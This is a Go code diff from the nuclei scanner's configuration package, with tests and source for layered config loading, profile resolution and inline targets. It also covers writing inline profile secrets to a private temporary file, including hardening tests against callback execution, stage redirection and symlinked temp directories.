}
|
||||
if automaticErr != nil {
|
||||
t.Fatalf("automatic configuration failed: %v", automaticErr)
|
||||
}
|
||||
if !slices.Equal(replace, []string{"profile"}) {
|
||||
t.Fatalf("replace = %v, want [profile]", replace)
|
||||
}
|
||||
if len(clear) != 0 {
|
||||
t.Fatalf("clear = %v, want an empty list", clear)
|
||||
}
|
||||
if got := variables.AsMap(); len(got) != 1 || got["profile"] != "four" {
|
||||
t.Fatalf("var = %v, want only profile=four", got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestParsingCreatesPrimaryUserConfig(t *testing.T) {
|
||||
tests := []struct {
|
||||
name string
|
||||
createSystem bool
|
||||
wantValue string
|
||||
forbidInUser string
|
||||
}{
|
||||
{name: "missing system", wantValue: "built-in"},
|
||||
{name: "system values are not materialized", createSystem: true, wantValue: "system", forbidInUser: "system"},
|
||||
}
|
||||
|
||||
for _, test := range tests {
|
||||
t.Run(test.name, func(t *testing.T) {
|
||||
dir := t.TempDir()
|
||||
systemPath := filepath.Join(dir, "system.yaml")
|
||||
userPath := filepath.Join(dir, "user", "yaml")
|
||||
if test.createSystem {
|
||||
writeConfigFile(t, systemPath, "value: system\n")
|
||||
}
|
||||
|
||||
value := "built-in"
|
||||
var selected Selection
|
||||
var noop bool
|
||||
flagSet := goflags.NewFlagSet()
|
||||
flagSet.StringVar(&value, "value", "built-in", "value description")
|
||||
flagSet.StringVar(&selected.Config, "config", "", "")
|
||||
flagSet.StringVar(&selected.Profile, "profile", "", "")
|
||||
flagSet.BoolVar(&noop, "noop", false, "")
|
||||
|
||||
automaticErr, err := loadTestFlags(flagSet, []string{systemPath, userPath}, &selected, existingProfilePath, "-noop=false")
|
||||
if err != nil {
|
||||
t.Fatalf("load configuration failed: %v", err)
|
||||
}
|
||||
if automaticErr != nil {
|
||||
t.Fatalf("automatic configuration failed: %v", automaticErr)
|
||||
}
|
||||
assertEqual(t, "value", value, test.wantValue)
|
||||
|
||||
data, err := os.ReadFile(userPath)
|
||||
if err != nil {
|
||||
t.Fatalf("read generated user config: %v", err)
|
||||
}
|
||||
content := string(data)
|
||||
if !strings.Contains(content, "#value: built-in") {
|
||||
t.Fatalf("generated user config is not a commented built-in config:\n%s", content)
|
||||
}
|
||||
if test.forbidInUser != "" && strings.Contains(content, test.forbidInUser) {
|
||||
t.Fatalf("generated user config materialized %q:\n%s", test.forbidInUser, content)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestSelectedConfigLoadsAfterMalformedAutomaticConfig(t *testing.T) {
|
||||
dir := t.TempDir()
|
||||
systemPath := filepath.Join(dir, "system.yaml")
|
||||
userPath := filepath.Join(dir, "user.yaml")
|
||||
explicitPath := filepath.Join(dir, "explicit.yaml")
|
||||
writeConfigFile(t, systemPath, "value: system\nautomatic-only: system\n")
|
||||
writeConfigFile(t, userPath, "value: [\n")
|
||||
writeConfigFile(t, explicitPath, "value: explicit\n")
|
||||
|
||||
value := "built-in"
|
||||
automaticOnly := "built-in"
|
||||
var selected Selection
|
||||
flagSet := goflags.NewFlagSet()
|
||||
flagSet.StringVar(&value, "value", "built-in", "")
|
||||
flagSet.StringVar(&automaticOnly, "automatic-only", "built-in", "")
|
||||
flagSet.StringVar(&selected.Config, "config", "", "")
|
||||
flagSet.StringVar(&selected.Profile, "profile", "", "")
|
||||
|
||||
automaticErr, err := loadTestFlags(flagSet, []string{systemPath, userPath}, &selected, existingProfilePath, "-config="+explicitPath)
|
||||
if err != nil {
|
||||
t.Fatalf("valid explicit config failed after malformed automatic config: %v", err)
|
||||
}
|
||||
if automaticErr == nil {
|
||||
t.Fatal("expected malformed automatic configuration error")
|
||||
}
|
||||
assertEqual(t, "value", value, "explicit")
|
||||
assertEqual(t, "automatic-only", automaticOnly, "built-in")
|
||||
}
|
||||
|
||||
func TestDeferredUpdateConfiguration(t *testing.T) {
|
||||
dir := t.TempDir()
|
||||
userPath := filepath.Join(dir, "user.yaml")
|
||||
updateDir := filepath.Join(dir, "templates")
|
||||
writeConfigFile(t, userPath, fmt.Sprintf(`
|
||||
disable-update-check: true
|
||||
update: true
|
||||
update-templates: true
|
||||
update-template-dir: %q
|
||||
`, updateDir))
|
||||
|
||||
var disableUpdateCheck, updateBinary, updateTemplates, noop bool
|
||||
var selected Selection
|
||||
var selectedUpdateDir string
|
||||
flagSet := goflags.NewFlagSet()
|
||||
flagSet.BoolVar(&disableUpdateCheck, "disable-update-check", false, "")
|
||||
flagSet.BoolVar(&updateBinary, "update", false, "")
|
||||
flagSet.BoolVar(&updateTemplates, "update-templates", false, "")
|
||||
flagSet.StringVar(&selectedUpdateDir, "update-template-dir", "", "")
|
||||
flagSet.StringVar(&selected.Config, "config", "", "")
|
||||
flagSet.StringVar(&selected.Profile, "profile", "", "")
|
||||
flagSet.BoolVar(&noop, "noop", false, "")
|
||||
|
||||
automaticErr, err := loadTestFlags(flagSet, []string{filepath.Join(dir, "missing-system.yaml"), userPath}, &selected, existingProfilePath, "-noop=false")
|
||||
if err != nil {
|
||||
t.Fatalf("load configuration failed: %v", err)
|
||||
}
|
||||
if automaticErr != nil {
|
||||
t.Fatalf("automatic configuration failed: %v", automaticErr)
|
||||
}
|
||||
if !disableUpdateCheck || !updateBinary || !updateTemplates {
|
||||
t.Fatalf("update values were not loaded: disable=%t update=%t templates=%t", disableUpdateCheck, updateBinary, updateTemplates)
|
||||
}
|
||||
assertEqual(t, "update template directory", selectedUpdateDir, updateDir)
|
||||
|
||||
testConfig := &catalogconfig.Config{}
|
||||
if !testConfig.CanCheckForUpdates() {
|
||||
t.Fatal("configuration loading applied disable-update-check too early")
|
||||
}
|
||||
if disableUpdateCheck {
|
||||
testConfig.DisableUpdateCheck()
|
||||
}
|
||||
if testConfig.CanCheckForUpdates() {
|
||||
t.Fatal("deferred disable-update-check was not applied")
|
||||
}
|
||||
}
|
||||
|
||||
func TestConfigFilesDoNotExecuteCallbacks(t *testing.T) {
|
||||
dir := t.TempDir()
|
||||
systemPath := filepath.Join(dir, "system.yaml")
|
||||
userPath := filepath.Join(dir, "user.yaml")
|
||||
explicitPath := filepath.Join(dir, "explicit.yaml")
|
||||
profilePath := filepath.Join(dir, "profile.yaml")
|
||||
callbackYAML := "reset: true\nversion: true\ntemplates-version: true\n"
|
||||
writeConfigFile(t, systemPath, callbackYAML)
|
||||
writeConfigFile(t, userPath, fmt.Sprintf("%sconfig: %q\n", callbackYAML, explicitPath))
|
||||
writeConfigFile(t, explicitPath, fmt.Sprintf("%sprofile: %q\n", callbackYAML, profilePath))
|
||||
writeConfigFile(t, profilePath, callbackYAML)
|
||||
|
||||
callbackCount := 0
|
||||
var selected Selection
|
||||
var noop bool
|
||||
flagSet := goflags.NewFlagSet()
|
||||
flagSet.CallbackVar(func() { callbackCount++ }, "reset", "")
|
||||
flagSet.CallbackVar(func() { callbackCount++ }, "version", "")
|
||||
flagSet.CallbackVar(func() { callbackCount++ }, "templates-version", "")
|
||||
flagSet.StringVar(&selected.Config, "config", "", "")
|
||||
flagSet.StringVar(&selected.Profile, "profile", "", "")
|
||||
flagSet.BoolVar(&noop, "noop", false, "")
|
||||
|
||||
automaticErr, err := loadTestFlags(flagSet, []string{systemPath, userPath}, &selected, existingProfilePath, "-noop=false")
|
||||
if err != nil {
|
||||
t.Fatalf("load configuration failed: %v", err)
|
||||
}
|
||||
if automaticErr != nil {
|
||||
t.Fatalf("automatic configuration failed: %v", automaticErr)
|
||||
}
|
||||
if callbackCount != 0 {
|
||||
t.Fatalf("configuration executed %d callbacks", callbackCount)
|
||||
}
|
||||
|
||||
flagSet = goflags.NewFlagSet()
|
||||
flagSet.CallbackVar(func() { callbackCount++ }, "reset", "")
|
||||
flagSet.StringVar(&selected.Config, "config", "", "")
|
||||
flagSet.StringVar(&selected.Profile, "profile", "", "")
|
||||
automaticErr, err = loadTestFlags(flagSet, []string{systemPath, userPath}, &selected, existingProfilePath, "-reset")
|
||||
if err != nil {
|
||||
t.Fatalf("load configuration with CLI callback failed: %v", err)
|
||||
}
|
||||
if automaticErr != nil {
|
||||
t.Fatalf("automatic configuration with CLI callback failed: %v", automaticErr)
|
||||
}
|
||||
if callbackCount != 1 {
|
||||
t.Fatalf("CLI callback count = %d, want 1", callbackCount)
|
||||
}
|
||||
}
|
||||
|
||||
func TestSelectedFilesCannotRedirectTheirOwnStage(t *testing.T) {
|
||||
dir := t.TempDir()
|
||||
userPath := filepath.Join(dir, "user.yaml")
|
||||
configPath := filepath.Join(dir, "config.yaml")
|
||||
otherConfigPath := filepath.Join(dir, "other-config.yaml")
|
||||
profilePath := filepath.Join(dir, "profile.yaml")
|
||||
otherProfilePath := filepath.Join(dir, "other-profile.yaml")
|
||||
|
||||
writeConfigFile(t, userPath, fmt.Sprintf("config: %q\n", configPath))
|
||||
writeConfigFile(t, configPath, fmt.Sprintf("config: %q\nprofile: %q\n", otherConfigPath, profilePath))
|
||||
writeConfigFile(t, otherConfigPath, "other-config-loaded: true\n")
|
||||
writeConfigFile(t, profilePath, fmt.Sprintf("config: %q\nprofile: %q\n", otherConfigPath, otherProfilePath))
|
||||
writeConfigFile(t, otherProfilePath, "other-profile-loaded: true\n")
|
||||
|
||||
var selected Selection
|
||||
var otherConfigLoaded, otherProfileLoaded bool
|
||||
flagSet := goflags.NewFlagSet()
|
||||
flagSet.StringVar(&selected.Config, "config", "", "")
|
||||
flagSet.StringVar(&selected.Profile, "profile", "", "")
|
||||
flagSet.BoolVar(&otherConfigLoaded, "other-config-loaded", false, "")
|
||||
flagSet.BoolVar(&otherProfileLoaded, "other-profile-loaded", false, "")
|
||||
|
||||
automaticErr, err := loadTestFlags(flagSet, []string{userPath}, &selected, existingProfilePath, "--")
|
||||
if err != nil {
|
||||
t.Fatalf("load configuration failed: %v", err)
|
||||
}
|
||||
if automaticErr != nil {
|
||||
t.Fatalf("automatic configuration failed: %v", automaticErr)
|
||||
}
|
||||
assertEqual(t, "selected config", selected.Config, configPath)
|
||||
assertEqual(t, "selected profile", selected.Profile, profilePath)
|
||||
if otherConfigLoaded || otherProfileLoaded {
|
||||
t.Fatalf("loading followed a redirected stage: config=%t profile=%t", otherConfigLoaded, otherProfileLoaded)
|
||||
}
|
||||
}
|
||||
|
||||
func loadTestFlags(
|
||||
flagSet *goflags.FlagSet,
|
||||
automaticFiles []string,
|
||||
selected *Selection,
|
||||
resolveProfile func(string) (string, error),
|
||||
args ...string,
|
||||
) (error, error) {
|
||||
userConfigFile := automaticFiles[len(automaticFiles)-1]
|
||||
warnings, err := loadConfigFiles(userConfigFile, userConfigFile, automaticFiles, flagSet, selected, resolveProfile, args...)
|
||||
return errors.Join(warnings...), err
|
||||
}
|
||||
|
||||
func existingProfilePath(path string) (string, error) {
|
||||
if _, err := os.Stat(path); err != nil {
|
||||
return "", err
|
||||
}
|
||||
return path, nil
|
||||
}
|
||||
|
||||
func writeConfigFile(t *testing.T, path, content string) {
|
||||
t.Helper()
|
||||
if err := os.MkdirAll(filepath.Dir(path), 0o700); err != nil {
|
||||
t.Fatalf("create config directory: %v", err)
|
||||
}
|
||||
if err := os.WriteFile(path, []byte(strings.TrimPrefix(content, "\n")), 0o600); err != nil {
|
||||
t.Fatalf("write config file %q: %v", path, err)
|
||||
}
|
||||
}
|
||||
|
||||
func assertEqual[T comparable](t *testing.T, name string, got, want T) {
|
||||
t.Helper()
|
||||
if got != want {
|
||||
t.Fatalf("%s = %v, want %v", name, got, want)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,67 @@
|
||||
package configuration
|
||||
|
||||
import (
|
||||
"os"
|
||||
"path/filepath"
|
||||
"testing"
|
||||
|
||||
catalogconfig "github.com/projectdiscovery/nuclei/v3/pkg/catalog/config"
|
||||
)
|
||||
|
||||
func TestUnixSystemConfigFilePath(t *testing.T) {
|
||||
for _, goos := range []string{"aix", "darwin", "dragonfly", "freebsd", "linux", "netbsd", "openbsd", "solaris"} {
|
||||
if got, want := unixSystemConfigFilePath(goos), "/etc/nuclei/config.yaml"; got != want {
|
||||
t.Fatalf("unix system config for %s = %q, want %q", goos, got, want)
|
||||
}
|
||||
}
|
||||
for _, goos := range []string{"windows", "plan9", "js"} {
|
||||
if got := unixSystemConfigFilePath(goos); got != "" {
|
||||
t.Fatalf("system config for %s = %q, want empty", goos, got)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestPrepareUserConfigFile(t *testing.T) {
|
||||
dir := t.TempDir()
|
||||
defaultConfigFile := filepath.Join(dir, "default", catalogconfig.CLIConfigFileName)
|
||||
customConfigFile := filepath.Join(dir, "custom", catalogconfig.CLIConfigFileName)
|
||||
if err := os.MkdirAll(filepath.Dir(defaultConfigFile), 0o700); err != nil {
|
||||
t.Fatalf("create default config directory: %v", err)
|
||||
}
|
||||
if err := os.WriteFile(defaultConfigFile, []byte("value: inherited\n"), 0o600); err != nil {
|
||||
t.Fatalf("write default config: %v", err)
|
||||
}
|
||||
|
||||
if err := prepareUserConfigFile(customConfigFile, defaultConfigFile); err != nil {
|
||||
t.Fatalf("prepare user config file: %v", err)
|
||||
}
|
||||
data, err := os.ReadFile(customConfigFile)
|
||||
if err != nil {
|
||||
t.Fatalf("read inherited config: %v", err)
|
||||
}
|
||||
if got, want := string(data), "value: inherited\n"; got != want {
|
||||
t.Fatalf("inherited config = %q, want %q", got, want)
|
||||
}
|
||||
|
||||
if err := os.WriteFile(defaultConfigFile, []byte("value: changed\n"), 0o600); err != nil {
|
||||
t.Fatalf("update default config: %v", err)
|
||||
}
|
||||
if err := prepareUserConfigFile(customConfigFile, defaultConfigFile); err != nil {
|
||||
t.Fatalf("prepare existing user config: %v", err)
|
||||
}
|
||||
data, err = os.ReadFile(customConfigFile)
|
||||
if err != nil {
|
||||
t.Fatalf("read existing user config: %v", err)
|
||||
}
|
||||
if got, want := string(data), "value: inherited\n"; got != want {
|
||||
t.Fatalf("existing user config = %q, want %q", got, want)
|
||||
}
|
||||
|
||||
missingConfigFile := filepath.Join(dir, "missing-custom", catalogconfig.CLIConfigFileName)
|
||||
if err := prepareUserConfigFile(missingConfigFile, filepath.Join(dir, "missing-default.yaml")); err != nil {
|
||||
t.Fatalf("prepare config without default source: %v", err)
|
||||
}
|
||||
if _, err := os.Stat(missingConfigFile); !os.IsNotExist(err) {
|
||||
t.Fatalf("missing default source created user config: %v", err)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,187 @@
|
||||
package configuration
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"io/fs"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
catalogconfig "github.com/projectdiscovery/nuclei/v3/pkg/catalog/config"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/templates/extensions"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/types"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/utils/yaml"
|
||||
fileutil "github.com/projectdiscovery/utils/file"
|
||||
)
|
||||
|
||||
// TemplatesDirectory returns the final template directory used while loading
|
||||
// configuration and resolving profiles.
|
||||
func TemplatesDirectory(options *types.Options, config *catalogconfig.Config) string {
|
||||
if templatesDir, overridden := TemplatesDirectoryOverride(options); overridden {
|
||||
return templatesDir
|
||||
}
|
||||
|
||||
return config.GetTemplateDir()
|
||||
}
|
||||
|
||||
// TemplatesDirectoryOverride returns an explicit flag/config or environment
|
||||
// template directory.
|
||||
func TemplatesDirectoryOverride(options *types.Options) (string, bool) {
|
||||
templatesDir := options.NewTemplatesDirectory
|
||||
if templatesDir == "" {
|
||||
templatesDir = os.Getenv(catalogconfig.NucleiTemplatesDirEnv)
|
||||
}
|
||||
|
||||
if templatesDir == "" {
|
||||
return "", false
|
||||
}
|
||||
|
||||
if absPath, err := filepath.Abs(templatesDir); err == nil {
|
||||
return absPath, true
|
||||
}
|
||||
|
||||
return templatesDir, true
|
||||
}
|
||||
|
||||
// ResolveProfilePath resolves a profile path or profile ID against the active
|
||||
// template root.
|
||||
func ResolveProfilePath(profilePath, templatesDir string) (string, error) {
|
||||
defaultProfilesPath := filepath.Join(templatesDir, "profiles")
|
||||
if filepath.Ext(profilePath) == "" {
|
||||
path, err := findProfilePathByID(profilePath, defaultProfilesPath)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
|
||||
if path == "" {
|
||||
return "", fmt.Errorf("%q is not a profile ID or profile path", profilePath)
|
||||
}
|
||||
|
||||
profilePath = path
|
||||
}
|
||||
|
||||
if !filepath.IsAbs(profilePath) {
|
||||
if filepath.Dir(profilePath) == "profiles" {
|
||||
defaultProfilesPath = templatesDir
|
||||
}
|
||||
|
||||
currentDir, err := os.Getwd()
|
||||
if err == nil && fileutil.FileExists(filepath.Join(currentDir, profilePath)) {
|
||||
profilePath = filepath.Join(currentDir, profilePath)
|
||||
} else {
|
||||
profilePath = filepath.Join(defaultProfilesPath, profilePath)
|
||||
}
|
||||
}
|
||||
|
||||
if !fileutil.FileExists(profilePath) {
|
||||
return "", fmt.Errorf("given template profile file %q does not exist", profilePath)
|
||||
}
|
||||
|
||||
return profilePath, nil
|
||||
}
|
||||
|
||||
func findProfilePathByID(profileID, profilesDir string) (string, error) {
|
||||
var profilePath string
|
||||
err := filepath.WalkDir(profilesDir, func(path string, entry fs.DirEntry, err error) error {
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
if entry.IsDir() {
|
||||
return nil
|
||||
}
|
||||
|
||||
ext := filepath.Ext(path)
|
||||
if ext != extensions.YAML && ext != extensions.YML {
|
||||
return nil
|
||||
}
|
||||
|
||||
if strings.TrimSuffix(filepath.Base(path), ext) == profileID {
|
||||
profilePath = path
|
||||
return fs.SkipAll
|
||||
}
|
||||
|
||||
return nil
|
||||
})
|
||||
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("search profile ID %q in %q: %w", profileID, profilesDir, err)
|
||||
}
|
||||
|
||||
return profilePath, nil
|
||||
}
|
||||
|
||||
// ApplyProfile processes profile-only inline targets and secrets after its
|
||||
// flag values have been merged. It returns the private directory that owns a
|
||||
// generated inline-secrets file.
|
||||
func ApplyProfile(profilePath string, options *types.Options) (string, error) {
|
||||
if profilePath == "" {
|
||||
return "", nil
|
||||
}
|
||||
|
||||
options.Targets = appendInlineTargets(options.Targets, options.InlineTargetsList)
|
||||
if strings.Contains(options.TargetsFilePath, "\n") {
|
||||
options.Targets = appendInlineTargets(options.Targets, options.TargetsFilePath)
|
||||
options.TargetsFilePath = ""
|
||||
}
|
||||
|
||||
return processInlineSecretsFromProfile(profilePath, options)
|
||||
}
|
||||
|
||||
func appendInlineTargets(targets []string, input string) []string {
|
||||
for target := range strings.SplitSeq(strings.TrimSpace(input), "\n") {
|
||||
target = strings.TrimSpace(target)
|
||||
if target != "" && !strings.HasPrefix(target, "#") {
|
||||
targets = append(targets, target)
|
||||
}
|
||||
}
|
||||
|
||||
return targets
|
||||
}
|
||||
|
||||
type profileSecrets struct {
|
||||
Secrets any `yaml:"secrets"`
|
||||
}
|
||||
|
||||
func processInlineSecretsFromProfile(profilePath string, options *types.Options) (string, error) {
|
||||
data, err := os.ReadFile(profilePath)
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("read profile file %q: %w", profilePath, err)
|
||||
}
|
||||
|
||||
var profile profileSecrets
|
||||
if err := yaml.Unmarshal(data, &profile); err != nil {
|
||||
return "", fmt.Errorf("parse profile YAML %q: %w", profilePath, err)
|
||||
}
|
||||
|
||||
if profile.Secrets == nil {
|
||||
return "", nil
|
||||
}
|
||||
|
||||
secretsData, err := yaml.Marshal(profile.Secrets)
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("marshal inline profile secrets: %w", err)
|
||||
}
|
||||
|
||||
tempDir, err := os.MkdirTemp("", "nuclei-secrets-*")
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("create inline secrets directory: %w", err)
|
||||
}
|
||||
|
||||
removeDir := true
|
||||
defer func() {
|
||||
if removeDir {
|
||||
_ = os.RemoveAll(tempDir)
|
||||
}
|
||||
}()
|
||||
|
||||
tempPath := filepath.Join(tempDir, "inline-secrets.yaml")
|
||||
if err := os.WriteFile(tempPath, secretsData, 0o600); err != nil {
|
||||
return "", fmt.Errorf("write inline secrets file %q: %w", tempPath, err)
|
||||
}
|
||||
|
||||
removeDir = false
|
||||
options.SecretsFile = append(options.SecretsFile, tempPath)
|
||||
|
||||
return tempDir, nil
|
||||
}
|
||||
@@ -0,0 +1,356 @@
|
||||
package configuration
|
||||
|
||||
import (
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
catalogconfig "github.com/projectdiscovery/nuclei/v3/pkg/catalog/config"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/types"
|
||||
)
|
||||
|
||||
func TestProcessInlineSecretsFromProfile(t *testing.T) {
|
||||
t.Run("profile with inline secrets", func(t *testing.T) {
|
||||
profileContent := `
|
||||
secrets:
|
||||
static:
|
||||
- type: header
|
||||
domains:
|
||||
- api.example.com
|
||||
headers:
|
||||
- key: x-api-key
|
||||
value: test-key-123
|
||||
`
|
||||
tmpFile, err := os.CreateTemp(t.TempDir(), "test-profile-*.yaml")
|
||||
if err != nil {
|
||||
t.Fatalf("could not create temp file: %v", err)
|
||||
}
|
||||
if _, err := tmpFile.WriteString(profileContent); err != nil {
|
||||
t.Fatalf("could not write profile: %v", err)
|
||||
}
|
||||
_ = tmpFile.Close()
|
||||
|
||||
opts := &types.Options{}
|
||||
tempDir, err := processInlineSecretsFromProfile(tmpFile.Name(), opts)
|
||||
if err != nil {
|
||||
t.Fatalf("processInlineSecretsFromProfile failed: %v", err)
|
||||
}
|
||||
defer func() {
|
||||
_ = os.RemoveAll(tempDir)
|
||||
}()
|
||||
|
||||
if len(opts.SecretsFile) != 1 {
|
||||
t.Fatalf("expected 1 secrets file, got %d", len(opts.SecretsFile))
|
||||
}
|
||||
|
||||
secretsPath := opts.SecretsFile[0]
|
||||
if filepath.Base(secretsPath) != "inline-secrets.yaml" {
|
||||
t.Errorf("secrets file name = %q, want inline-secrets.yaml", filepath.Base(secretsPath))
|
||||
}
|
||||
|
||||
data, err := os.ReadFile(secretsPath)
|
||||
if err != nil {
|
||||
t.Fatalf("could not read generated secrets file: %v", err)
|
||||
}
|
||||
|
||||
content := string(data)
|
||||
if !strings.Contains(content, "x-api-key") {
|
||||
t.Errorf("secrets file should contain header key, got:\n%s", content)
|
||||
}
|
||||
if !strings.Contains(content, "test-key-123") {
|
||||
t.Errorf("secrets file should contain header value, got:\n%s", content)
|
||||
}
|
||||
if !strings.Contains(content, "api.example.com") {
|
||||
t.Errorf("secrets file should contain domain, got:\n%s", content)
|
||||
}
|
||||
})
|
||||
|
||||
t.Run("profile without secrets", func(t *testing.T) {
|
||||
profileContent := `
|
||||
severity:
|
||||
- critical
|
||||
- high
|
||||
`
|
||||
tmpFile, err := os.CreateTemp(t.TempDir(), "test-profile-*.yaml")
|
||||
if err != nil {
|
||||
t.Fatalf("could not create temp file: %v", err)
|
||||
}
|
||||
if _, err := tmpFile.WriteString(profileContent); err != nil {
|
||||
t.Fatalf("could not write profile: %v", err)
|
||||
}
|
||||
if err := tmpFile.Close(); err != nil {
|
||||
t.Fatalf("could not close temp file: %v", err)
|
||||
}
|
||||
|
||||
opts := &types.Options{}
|
||||
tempDir, err := processInlineSecretsFromProfile(tmpFile.Name(), opts)
|
||||
if err != nil {
|
||||
t.Fatalf("processInlineSecretsFromProfile should not fail: %v", err)
|
||||
}
|
||||
|
||||
if tempDir != "" {
|
||||
t.Errorf("expected no temporary directory for profile without secrets, got %s", tempDir)
|
||||
}
|
||||
|
||||
if len(opts.SecretsFile) != 0 {
|
||||
t.Errorf("expected 0 secrets files for profile without secrets, got %d", len(opts.SecretsFile))
|
||||
}
|
||||
})
|
||||
|
||||
t.Run("nonexistent profile", func(t *testing.T) {
|
||||
opts := &types.Options{}
|
||||
_, err := processInlineSecretsFromProfile(filepath.Join(t.TempDir(), "nonexistent.yaml"), opts)
|
||||
if err == nil {
|
||||
t.Error("expected error for nonexistent file")
|
||||
}
|
||||
})
|
||||
|
||||
t.Run("does not follow a shared temporary directory symlink", func(t *testing.T) {
|
||||
tempRoot := t.TempDir()
|
||||
t.Setenv("TMPDIR", tempRoot)
|
||||
t.Setenv("TMP", tempRoot)
|
||||
t.Setenv("TEMP", tempRoot)
|
||||
|
||||
victimDir := filepath.Join(tempRoot, "victim")
|
||||
if err := os.Mkdir(victimDir, 0o755); err != nil {
|
||||
t.Fatalf("create victim directory: %v", err)
|
||||
}
|
||||
before, err := os.Stat(victimDir)
|
||||
if err != nil {
|
||||
t.Fatalf("stat victim directory before processing: %v", err)
|
||||
}
|
||||
|
||||
sharedPath := filepath.Join(tempRoot, "nuclei-secrets")
|
||||
if err := os.Symlink(victimDir, sharedPath); err != nil {
|
||||
t.Skipf("create directory symlink: %v", err)
|
||||
}
|
||||
|
||||
profilePath := filepath.Join(t.TempDir(), "profile.yaml")
|
||||
writeConfigFile(t, profilePath, "secrets:\n static: []\n")
|
||||
opts := &types.Options{}
|
||||
tempDir, err := processInlineSecretsFromProfile(profilePath, opts)
|
||||
if err != nil {
|
||||
t.Fatalf("process inline secrets: %v", err)
|
||||
}
|
||||
t.Cleanup(func() { _ = os.RemoveAll(tempDir) })
|
||||
|
||||
if tempDir == sharedPath {
|
||||
t.Fatalf("inline secrets used shared path %q", sharedPath)
|
||||
}
|
||||
if got := filepath.Dir(opts.SecretsFile[0]); got != tempDir {
|
||||
t.Fatalf("inline secrets file directory = %q, want %q", got, tempDir)
|
||||
}
|
||||
after, err := os.Stat(victimDir)
|
||||
if err != nil {
|
||||
t.Fatalf("stat victim directory after processing: %v", err)
|
||||
}
|
||||
if before.Mode().Perm() != after.Mode().Perm() {
|
||||
t.Fatalf("victim directory mode changed from %o to %o", before.Mode().Perm(), after.Mode().Perm())
|
||||
}
|
||||
})
|
||||
}
|
||||
|
||||
func TestInlineTargetsParsing(t *testing.T) {
|
||||
t.Run("multiline list key treated as inline targets", func(t *testing.T) {
|
||||
opts := &types.Options{
|
||||
TargetsFilePath: "example.com\ntest.com\nscanme.sh\n",
|
||||
}
|
||||
|
||||
if strings.Contains(opts.TargetsFilePath, "\n") {
|
||||
inlineTargets := strings.Split(strings.TrimSpace(opts.TargetsFilePath), "\n")
|
||||
for _, target := range inlineTargets {
|
||||
target = strings.TrimSpace(target)
|
||||
if target != "" && !strings.HasPrefix(target, "#") {
|
||||
opts.Targets = append(opts.Targets, target)
|
||||
}
|
||||
}
|
||||
opts.TargetsFilePath = ""
|
||||
}
|
||||
|
||||
if len(opts.Targets) != 3 {
|
||||
t.Fatalf("expected 3 targets, got %d: %v", len(opts.Targets), opts.Targets)
|
||||
}
|
||||
if opts.Targets[0] != "example.com" {
|
||||
t.Errorf("expected first target 'example.com', got '%s'", opts.Targets[0])
|
||||
}
|
||||
if opts.Targets[1] != "test.com" {
|
||||
t.Errorf("expected second target 'test.com', got '%s'", opts.Targets[1])
|
||||
}
|
||||
if opts.Targets[2] != "scanme.sh" {
|
||||
t.Errorf("expected third target 'scanme.sh', got '%s'", opts.Targets[2])
|
||||
}
|
||||
if opts.TargetsFilePath != "" {
|
||||
t.Errorf("TargetsFilePath should be cleared, got '%s'", opts.TargetsFilePath)
|
||||
}
|
||||
})
|
||||
|
||||
t.Run("single line list key remains as file path", func(t *testing.T) {
|
||||
opts := &types.Options{
|
||||
TargetsFilePath: "/path/to/targets.txt",
|
||||
}
|
||||
|
||||
if strings.Contains(opts.TargetsFilePath, "\n") {
|
||||
t.Error("single-line path should not be treated as inline targets")
|
||||
}
|
||||
|
||||
if opts.TargetsFilePath != "/path/to/targets.txt" {
|
||||
t.Errorf("file path should remain unchanged, got '%s'", opts.TargetsFilePath)
|
||||
}
|
||||
})
|
||||
|
||||
t.Run("inline targets with comments and blank lines", func(t *testing.T) {
|
||||
opts := &types.Options{
|
||||
TargetsFilePath: "example.com\n# this is a comment\n\ntest.com\n",
|
||||
}
|
||||
|
||||
if strings.Contains(opts.TargetsFilePath, "\n") {
|
||||
inlineTargets := strings.Split(strings.TrimSpace(opts.TargetsFilePath), "\n")
|
||||
for _, target := range inlineTargets {
|
||||
target = strings.TrimSpace(target)
|
||||
if target != "" && !strings.HasPrefix(target, "#") {
|
||||
opts.Targets = append(opts.Targets, target)
|
||||
}
|
||||
}
|
||||
opts.TargetsFilePath = ""
|
||||
}
|
||||
|
||||
if len(opts.Targets) != 2 {
|
||||
t.Fatalf("expected 2 targets (comments/blanks filtered), got %d: %v", len(opts.Targets), opts.Targets)
|
||||
}
|
||||
})
|
||||
|
||||
t.Run("targets-inline key", func(t *testing.T) {
|
||||
opts := &types.Options{
|
||||
InlineTargetsList: "host1.com\nhost2.com\nhost3.com",
|
||||
}
|
||||
|
||||
if opts.InlineTargetsList != "" {
|
||||
inlineTargets := strings.Split(strings.TrimSpace(opts.InlineTargetsList), "\n")
|
||||
for _, target := range inlineTargets {
|
||||
target = strings.TrimSpace(target)
|
||||
if target != "" && !strings.HasPrefix(target, "#") {
|
||||
opts.Targets = append(opts.Targets, target)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if len(opts.Targets) != 3 {
|
||||
t.Fatalf("expected 3 targets from targets-inline, got %d", len(opts.Targets))
|
||||
}
|
||||
})
|
||||
}
|
||||
|
||||
func TestInlineSecretsFileFormat(t *testing.T) {
|
||||
// Verify the generated secrets file has the correct YAML structure
|
||||
// that matches what authx.GetAuthDataFromYAML expects
|
||||
profileContent := `
|
||||
secrets:
|
||||
static:
|
||||
- type: header
|
||||
domains:
|
||||
- api.example.com
|
||||
headers:
|
||||
- key: Authorization
|
||||
value: Bearer test-token
|
||||
